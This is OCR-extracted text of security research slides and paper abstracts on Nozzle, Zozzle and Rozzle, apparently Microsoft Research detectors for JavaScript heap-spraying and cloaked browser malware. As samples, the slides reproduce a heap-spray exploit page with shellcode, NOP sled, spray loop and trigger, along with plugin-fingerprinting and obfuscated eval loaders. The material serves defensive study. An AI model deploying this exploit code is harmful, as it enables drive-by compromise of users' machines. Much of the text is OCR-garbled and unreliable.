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Abstract

Heap spraying is 2 secusity atack that increases the ex-
of memary ion emmors in e
applications. In @ heapspraying attack, an aacker co-
erces an application to allocate many objects containing
‘malicious code in the heap, incremsing the success rte of
an exploit that jumps 1o 2 location within the heap. e
causse heap layout randomization pecessitates new forms
of attack, spraying has been wsed in many recent security
exploits. Spraying is especially effective in web browsers,
where the atacker can easily allocate the maliciows obe
jects using JavaScript embedded in 2 web page. In this
paper, we describe NOZFLE, o runtime heapespraying de
tector. NOZZLE examines individual ahjects in the heap,
them as code and p tatic amal ysis
on that code 1o detect malicious intent. To reduce fabse
positives, we aggregate mexm!n!us across all heap obs

jects and define 2 ghobal heap healih metric. : smed
We measure the cifectivencss qr NOZZLE by demope 10 lrEet 2 pplication, sch a
sirating that it i 12 1g0p EReCulss am a pant of|

tion [21]. As a result, attacks tH
memary corruptions in the beap g

Heap spraving, fime  desc
SkyLined [38], is an attack that
containing the attacker's exploit ¢
heap. Heap spraying is a vehiclg
attacks, including a much publicy
Explorer in December 2008 [23]
Adobe Reader using JavaScript o
PDF documents [26].

Heap spraying requires that an
curity exploit o trigger an mtack,
greatly simglifies the attack and
of success becawse the exact addy
heap do not need 1o be known,
ing. attackers have to be able to
contents they cotrol in an applic
common method used by attackel

symtbetically generated heapespraying exploits. We also
show that even with a detection threshold set six limes
bower than is required o detect published malicious
attacks, NOZZLE reports no fabse positives when
aver 150 popular Internet sites. Using sampling and cons
curment scanning ko reduce overhead. we show that the
performance overhead of NOZZLE is less than 7% an av
erage. While NOZZLE curmenily targets heapabased sprays

attack be applied w amy attack that
atiempts io fll the address space with malicious code obe
jects (e, stack spraying [42]).

1 Introduction

In recent years, security improvements have made i@ in-
creasingly difficult for atackers 4o compromise systems,
Swccessful prevention messures in runtime envircaments
and operating systems include stack protection [10], ime
proved heap allocation kyouts [7, 20], address space kye
out rndomization [B, 36), and data execution prevens

widing a web page with embedded|
cam incluce the interpreter to alloc:
ing the spraying te occur, While if
tack is the most commen, and the
sider in this paper. the technigues
forms of heap spraying. A mambe
attacks. have recently been propas|
wvolving compiled bytecade, ANI
stacks [42].

In this paper, we describe Moz
spraying attacks that monitors he|
spraying attempts as they ocour.
ing attacks, NOZZLE has two of
nents. Fird, NOZZLE scans indi
For siges of malicious mtent. Mal
inclades a landing pad of instruc)
sled ) whose execution will lead
NozzLE focuses on detecting a sl
of its control fow, We show that
tection [4, 16, 31, 43] has a high
applied w chjects in heapeprayin]

Z0zZ7LE: Fast and Precise In-Browser JavaScript Malwai

Charlie Curtsinger
Univ. of Mass., Amherst

Abstract

JavaScript malware-based amacks account fw a la(g;
fraction of !
twoday. Auackers like JavaScript-based anacks because
they can be mounted against an unsuspecting user visit-
ing a seemingly innocent web page. While several tech-
niques for addressing these types of exploits have been
proposed, in-beowser adoption has been slow, in part be-
canse of the performance overhead these methods incur.

In this paper, we proposs ZozzLE, a bow-overhead so-
lution for detecting and preventing JavaScript malware
that is fast enough to be deployed in the browser.

Our approach uses Bayesian classification of hier-
archical features of the JavaScript abstract syntax tree
io identify syntax elements that are highly predictive
of malware. Cur experimentzl evalustion shows that
Z0ZZLE is able w detect JavaSeript malware through
mostly static code analysis effectively. Zozzie has an
extremely low false positive rate of 0.0003%, which iz
less than one in 2 quarter million. Despite this high ac-
curacy, the ZozzLE classifier is fast, with a throughput of
over one megahyte of JavaScript code per second.

1 Introduction

In the kst several years, we have seen mass-scale ex-
ploitation of memory-based vulnerabi migrate to-
‘wards heap spraying stiacks. This is because more tra-
ditional vulnersbilities such as stack- and heap-based
baffer overruns, while still present, are now often mit-
igated by compiler wechniques such as StackGuard [7]
or eperating system mechanisms such as NX/DEFP and
ALSR [12]. While several heap spraying solutions have
been proposed [8,9, 21], arguably, none are lightweight
enough to be integrated ino a commercial browser.
However, a browser-based detection technique is still
anractive for several reasons. Offline scanning is often
used in modern browsers o check whether a pamicular

Benjamin Livshits and Benjamin Zorn
Microsoft Research

site the user visits is benign and
wise. However, because it take:
large number of URLs that are
some URLs will simply be misg
scanning is also not as effectiv
ware that appears and disappeary
Z0ZILE is a mostly stasic Jay
tor that is fast enough 1o be us(
its analysis is entirely static, Zog
ponent: W address the issue of |
ZozzZLE is integrated with the i
gine to collect and process Jav
ared st runtime. Mote thas fidly s
becanse JavaScript code obfusc|
generation are so common in ba{
code,
Challenges: Any technical solu
lined above requires overcomi
lenges:

o performance: detection is
ployed in a mainstream brof
» obfuscated malware: becal
licious JavaScript code is|
purely siatic detection is gel
« low false positive rates: git
an the web, while false p
for,

RozzLE: De-Cloaking Internet Malware

Abstract—JlavaSeript-based malwara attacks hava ln-
croased In recant years and currantly rapresent a sig-
nificant threat to the use of desktop computers, smart-
phaones, and tablets. While static and runtlme methods

for malwars datection have bean proposed In tha liters.
tura, both on the client skda, for just-ln-tlme In-browsar
detection, as well as offilne, crawler-based malwara
discovery, thess approaches encountar the same fun.
damantal lmltation. Wab-based malware tands to ba
enviponmant-specific, targating a particular browser,
cften attacking speciflz verslans of lnatalled pluglne.
This targetlng cesurs becauss the malware explolts val
narabilitles bn specific pluglng and falls otherwlss. As a
result, o fundamantal lmltatlon for detecting & placa of
malwars b that malwara Is triggered infraquancly, only
showing ftaalf whan the right anviranmant is pm-am.

u fact, we chesrve that nsing currant "
tochniques, Just about amy placs of axisting makwara
may be mads virtually undetectabls with the cursent
genaration of malwars scannars.

Thls paper praposes Hozzie, a JavaScrlpt muitie
ezecution virtual maching, ns o way to axplore multl
ple exeeutlon paths within a single axeeution o chat
environmant-specifie malware will reveal itself. Using
larga-seals exporimants, we shaw that Nozeie Ineranscs
the datactlon rate for offfine runtlme detection by
almcet seven times. In addition, Hozzie triplas the
effectivences of onlina runtime detection. Wa show
that Rozzie incurs virtually no runtime overhead and
allows us to replace maltipls VMs running diferent
browssr condgurations with & single Ruzz.e-ansblad
browser, reductig the hardware requirements, netwark
bandwldth, and power consumption.

L INTRODUCTION

rates even 100 times lowe
in-hrowser detection;

* malware transience: iran
mises the effectiveness of o)

Because it works in a browser,
Seript runtime engine (o expose
ware via uses of eval, docusant
the runtime and analyzing the
is executed. We pass this unfold|
elassifier that is trained using fe|

a JavaScript

multa
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Brief History of Memory-Based Exploits

1999: Melissa
Stack-based overruns 2001: CodeRed
2002: Nimda
Memory-
based Heap-based overruns
exploits
@ Drive-by attacks and heap sprays




Drive-By Attacks (c. 2009)
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Drive-By Heap Spraying

Program Heap

<SCRIPT language—"text/javascrlpt"
shellcode = unescaps ' /

oneblock = unescag
mpaspraeae  Allocate 1,000s of

while (fullblock. . . .
fullblock += fu malicious objects

}

sprayContainer = new Array() ;
for (i=0; i<1000; i++) {

}
</SCRIPT>

sprayContainer[i] = fullblock + shellcode;

11




<html>

<body>
<button id=’butid’ onclick=’trigger();’ style=’display:none’/>
<script>

// Shellcode

var shellcode=unescape( ‘%u9090%u9090%u9090%u9090%uceba%ullfaku291f%ublc9%udb33%ud9ce%u2474%us5ef4%us63
bigblock=unescape(“%u@DoD%ueDoD”) ;

headersize=20;shellcodesize=headersize+shellcode.length;
while(bigblock.length<shellcodesize){bigblock+=bigblock;}
heapshell=bigblock.substring(@,shellcodesize);
nopsled=bigblock.substring(0,bigblock.length-shellcodesize);
while(nopsled.length+shellcodesize<@x25000){nopsled=nopsled+nopsled+heapshell}

// Spray

var spray=new Array();
for(i=0;i<500;i++){spray[i]=nopsled+shellcode;}

// Trigger

function trigger(){
var varbdy = document.createElement(‘body’);
varbdy.addBehavior( ‘#defaultt#tuserData’);
document.appendChild(varbdy);
try {
for (iter=0; iter<10; iter++) {
varbdy.setAttribute( ‘s’ ,window);
}
} catch(e){ }

window.status+=";

¥
document.getElementById( ‘butid’).onclick();

</script>
</body>
</html> 12



More Complex Malware

1 var E&Jrh = null;

2 try {

3 E5Jrh = new ActiveXObject("AcroPDF.PDF")

4} catch(e) { }

5 if ('E&Jrh)

6 try {

T EEJrh = new ActiveXObject("PDF.PdfCtrl")

& 1} catch(e) { }

9 if (E6Jrh) {

10 lv = EBJrh.GetVersions().split(",")[&].

11 split("=")[1].replace(/\./g,"");

12 if(lv < 900 && 1lv != 813)

13 document.write(’<embed src=".../validate.php?s=PTqg..."
14 width=100 height=100 type="application/pdf"></embed>’)
15 }

16 try {

17 var EbBJrh = 0;

18 E6Jrh = (new ActiveXObject(

19 "ShockwaveFlash.ShockwaveFlash.9"))
20 .GetVariable("$" + "version").split(",")
21 } catch(e) { }
22 if (EBJrh && E5Jrh[2] < 124)
23 document.write(’<object classid="clsid:dZVcdbbe-ae...”
24 width=100 height=100 align=middle><param name="movie"...?');
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Nozzle: Mechanics

Control flow graph (CFG)
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Object Surface Area Calculation

Assume: attacker wants to
reach shell code from jump
to any point in object

Goal: find blocks that are
likely to be reached via
control flow

Strategy: use dataflow
analysis to compute
“surface area” of each block

9

xor [eax], eax

» sub [eax], eax Legend:
adc dh, bh L] arithmetic
or eax, 0d172004h [] memory
jg 021c7fde ] 1/0 or syscall
r [] control flow
testcl, ah
jecxz 021¢7fd8
' 4 |
add al, 30h add [eax], al
add al, 80h add [ecx], 0
add al, 38h outs dx, [esi]
jmp 021c7fde

jne 021c7fbe

r

imul eax, [eax], 6ch

in eax, Ox11

An example object from visiting google.com

18



Nozzle: Runtime Heap Spraying Detection

good

bad ..

Normalized attack surface (NAS)
/

168688 20000 -y, O $ 46668 42 50668 42 666868 2 70000



Nozzle Experimental Summary

P O False Positives
e 10 opuIarAJAX heavy sites
g finds 5§ QOsRE malicious sites using Nozzle

R falssJingonyes
e 12 published heap spraying exploits and
e 2,000 synthetic rogue pages generated using Metasploit

C BIHQ sdetectioncapabih Il.y_LWU' 0 G

Runtime Overhead

e As high as 2x without sampling
e 5-10% with sampling
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Zozzle: Static Malware Detection

// Shellcode

var shellcode=unescape( ‘%u9090%u9090%u9090%u9090%uceba%ullfaku291f%ublc9%udb33 [..]");

bigblock=unescape (“%u@DeD%u@DeD”) ; °
headersize=20;shellcodesize=headersize+shellcode.length; Traln d ClaSSIerr
while(bigblock.length<shellcodesize){bigblock+=bigblock;} to recogruze
heapshell=bigblock.substring(0, shellcodesize);
nopsled=bigblock.substring(0,bigblock.length-shellcodesize); rT]Eal\AIE]I'EE

while(nopsled.length+shellcodesize<0x25000){nopsled=nopsled+nopsled+heapshell}

// Spray e Start with

var spray=new Array();

for(i=0;i<500;i++){spray[i]=nopsled+shellcode;} thousands Of
. malicious and
// Trigger benign labeled

function trigger(){
var varbdy = document.createElement(‘body’); Samples
varbdy.addBehavior( ‘#default#userData’);
document.appendChild(varbdy);

try { .
for (iter=0; iter<1@; iter++) { L ClaSS|fy
varbdy.setAttribute( ‘s’ ,window); .
) JavaScript code

} catch(e){ }

window.status+=";

¥
document.getElementById( ‘butid’).onclick();



Obfuscation

eval (""+0(2369522)+0(1949494) +0O
(2288625)+0(648464)+0(2304124) +
0(2080995)+0(2020710)+0(2164958
) +0(2168902)+0(1986377)+0 (22279
03)+0(2005851)+0(2021303)+0 (646
435)+0(1228455)+0(644519)+0 (234
6826) +0 (2207788)+0(2023127)+0 (2
300806)+0(1983560)+0(1949296) +O
(2245968) +0 (2028685) +0(809214) +
0(680960)+0(747602)+0(2346412) +
0(1060647)+0(1045327)+0 (1381007
) +0(1329180)+0(745897)+0 (234140
4)+0(1109791)+0(1064283)+0 (1128
719)+0(1321055)+0(748985)+...);

NS

var 1 = function (x) {

return String.fromCharCode (x);

var O = function (m) {
return String.fromCharCode (
Math.floor(m / 10000) / 2);
}

shellcode = unescape ( )5

var bigblock = unescape ( ) ;

while (bigblock.length<slackspace) {
bigblock += bigblock;

}

block = bigblock.substring (0,
bigblock.length-slackspace);

while (block.length+slackspace<0x40000) {
block = block + block + fillblock;

}

memory = new Array();

for (x=0; x<300; x++) {
memory[x] = block + shellcode;



Runtime Deobfuscation via Code Unfolding)

3608
L—

995)40(2020710)+0(§ A58) +0(21683
02)+0(1986377) +0 (24 #603) +0 (200585
1)+0(2021303) +0 (646435) +0(1228455)

f5625) 0 (54346
995) 40 (2020710:
02)40(1986377)
1)40(2021303) ¥

22)!
4)+0(23 (2080
)+0 (216408 (21685
+0(2227940+0(200585

(646435) 50(1228455)
6

c01
o6
) +0
it
(74
064
s

HA2306

=
e}

8560

—_§ v
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o
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Zozzle Training & Application

malicious benign
samples samples
(1K) (7K)
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Naive Bayes Classification

eval (""+0(2369522) +0(19494
94) +0(2288625) +0(648464) +0
(2304124) +0(2080995) +0 (202
0710)+0(2164958) +0 (2168902
) +0(1986377) +0 (2227903) +0 (

Q -9 2005851) +0(2021303) +0 (6464

eatu re ma Iclous 35) 40 (1228455) +0(644519) +0
(2346826) +0(2207788) +0 (202

3127)+0(2306806) +0 (1983560
) +0 (1949296) +0 (2245968) +0 (
2028685) +0(809214) +0 (68096
0)+0(747602) 0 (2346412) +0 (
1060647) +0(1045327) +0(1381
007)+0(1329180) +0(745897) +
0(2341404) +0(1109791) +0 (10

string:0c0Oc 0.99

64283)+0(1128719) +0 (132105
5)+0(748985) +...);

function:shellcode 099

loop:memory 0.87

Function:ActiveX 080

—> P(malicious)

try:activex 041

if:msie 7 0.33

function:Array 021

function:unescape 0.45

loop:+= 0.55

loop:nop 0.95
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Detection on a Web Scale

Zozzle

1102/62/9
1102/82/9
1102/42/9
1102/92/9
1102/5¢/9
1102/v2/9
1102/€2/9
1T02/72/9
1102/12/9
1102/02/9
11702/61/9
1102/81/9
1102/L1/9
1102/91/9
1102/S1/9
1102/¥1/9
1702/€1/9
1102/21/9
1102/11/9
1102/01/9
1102/6/9
1102/8/9
1102/L/9
1102/9/9
1T02/S/9
1102/v/9
1102/€/9
1102/2/9
1102/1/9

Thousands of malware sites daily




Malware Detection Landscape

Nozzle

Zozzle

Rozzle

32



I [ ] .+ +.
Limitatiang of Zozzle

x20\x36"

"msie 6"
if . Y indexoia
"\x6D"+"\x73\x69\x65"+"\x20\x36")>0)
document.write("<iframe src=x6.htm></iframe>");
"O"+"\x57\x43"+"\x31\x30\x2E\x53"+ iﬁﬁjgéﬁm\x&w+"vQO“PWx3TW>O)
"pr"_l_"ea"_l_"ds "+'Vhe"+"et" </lframe>");

"OWC10.Spreadsheet"

} catch(a) { } fina.
if (a!="[object .
document.writ

'1"+"OCkW"+"aV"+"e"+"Fl

"\X6D"‘|‘"\X73"‘|‘"\X69"+"\
fe src=svfl9 X65"+"\x20"+"\x37"

}
try {
var c; var f=new Activ
} catch(e) { } finally {
if (c!="[object Error]")'/H{
aacc = "<iframe src=of.htm></iframe>";
setTimeout ("document.write (aacc)"™, 3500);

1) . 1)
Hect ("O"+"\ k5% msie /
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What’s Next: Rozzle

if (navigator.userAgent.tolLowerCase () .indexOf (
"\x6D"+"\x73\x69\x65"+"\x20\x36")>0)

if (navigator.userAgent.tolLowerCase () .indexOf (
"\x6D"+"\x73"+"\x69"+"\x65"+"\x20"+"\x37") >0)

try {
var a; var aa=new ActiveXObject ("Sh"+"ockw"+"av"+"e"+"F1"+[...]1);
} catch(a) { } finally {
if (a!="[object Error]")
}
try {

var c; var f=new ActiveXObject ("O"+"\x57\x43"+"\x31\x30\x2E\x53"+[..1);
} catch(c) { } finally {

Oobject Error]") {
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Typical Malware Cloaking

1 var E&Jrh = null;

2 try {

3 E5Jrh = new ActiveXObject("AcroPDF.PDF")

4} catch(e) { }

5 if ('E&Jrh)

6 try {

T EEJrh = new ActiveXObject("PDF.PdfCtrl")

=1 } ratrhiay L0

9 if (E6Jrh) {

10 lv = EBJrh.GetVersions().split(",")[&].

11 split(U="001] replace(/\ Jg "1

12 if(lv < 900 && 1lv != 813)

13 document.write(’<embed src=".../validate.php?s=PTqg..."
14 width=100 height=100 type="application/pdf"></embed>’)
15 }

16 try {

17 var EbBJrh = 0;

18 E6Jrh = (new ActiveXObject(

19 "ShockwaveFlash.ShockwaveFlash.9"))
20 .GetVariable("$" + "version").split(",")
a9 } catehisny L3
22 if (EEJrh && E5Jrh[2] < 124)
23 document.write(’<object classid="clsid:d2/cdbbe-ae..."
24 width=100 height=100 align=middle><param name="movie"...?');

25
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More Complex Fingerprintin

adobe_plugin = " '
flash plugin = " g

video_ plugin =
function get_verision(s, max offset) { ... }

for(var i = 0; i < navigator.plugins.length; i++)
=K
var plugin name = navigator.plugins[i].name:
] if (quicktime plugin = 0 && plugin name.indexOf (
1 {

var helper = parseInt(plugin name.replace(/\D/g,
if (helper > 0)
quicktime plugin = helper.toString(1€)

Fingerprint: Q0193807F127J)14

if(plugin_name.indexOf ( ) 1= =1)

adobe_plugin =

else http:/fwww kittens.info/, O ~ & X

if(plugin_name.indexOf ( ) 1= -1)
adobe_plugin = .
else
adobe plugin =

}

else
{
if (flash plugin = "0O" && plugin name.indexOf("S las ) 1= -1)
flash plugin = get version(navigator.plugins[i].description,4):
else
if (window.navigator.javaEnabled && java plugin == 0 && plugin name.indexOf( )y 1= -1)
java_plugln = get version(navigator.plugins[i].description,€);
}

if(navigator.mimeTypes| ] .enabledPlugin)



Multi-path execution framework for JavaScript

What it is/does What it is not

 Multiple browser profiles * Cluster of machines: too
on single machine resource consuming

Branch on environment- * Symbolic execution: re-
sensitive checks verting to a previous state
No forking similar to running multiple
No snapshotting browsers in parallel

Execute branches sequentially to Static analysis: Retain much
increase coverage of runtime precision




Multi-Execution in Rozzle

<script>
[var adobe=new ActiveXObject(‘AcroPDF.PDF’); ]
var adobeVersion=adobe.GetVariable (‘$version’);
if (navigator.userAgent.indexOf(‘IE 7°)>=0 &&
adobeVersion == ’9.1.3°)

{
var x=unescape( ‘%u4149%ul982%u90 [..]°);

eval(x);

}

else if (adobeVersion == ’8.0.1°)

{
var x=unescape( ‘%ud4073%u8279%u77 [..]°);

eval(x);

¥

</script>
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Challenges

Consistent updates
of variables

o

Introduce concept of Symbolic Memory:

Multiple concrete values associated with one variable
New JavaScript data type Symbolic

e 3 subtypes

» symbolic value / formula / conditional
Weak updates for conditional assignments

~

/




Challenges

Consistent updates
of variables

Handling loops

/0

Indirect control
flow: Exception
handling




Rozzle: Experiments

[ Offline

)

Controlled Experiment

7x more Nozzle detections

Online

Similar to Bing crawling
Almost 4x more Nozzle detections

10.1% more Zozzle detections

\\'

[ Overhead ]

1.1% runtime overhead

1.4% memory overhead



http://icons.iconarchive.com/icons/rimshotdesign/nod/128/Network-File-Server-Disconnected-alt-icon.png

Rozzle: Take Away

For most sites, virtually no overhead

Visible impact on
static detector

Tremendous impact
on runtime detector
due to increased More important with

path coverage growing trend to
obfuscation

Also improves other existing tools: exposes
detectors to additional site content
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Conclusions

Nozzle

Zozzle

Rozzle

* Thousands of sites
flagged daily

e FPrateis about 10°°

 Finds much more
than Nozzle

FP rate is about 10®

Amplifies both
Nozzle and Zozzle

Unmasks cloaked
malware

43



Thank you

https://www.surveymonkey.com/s/Research12_BenLivshits



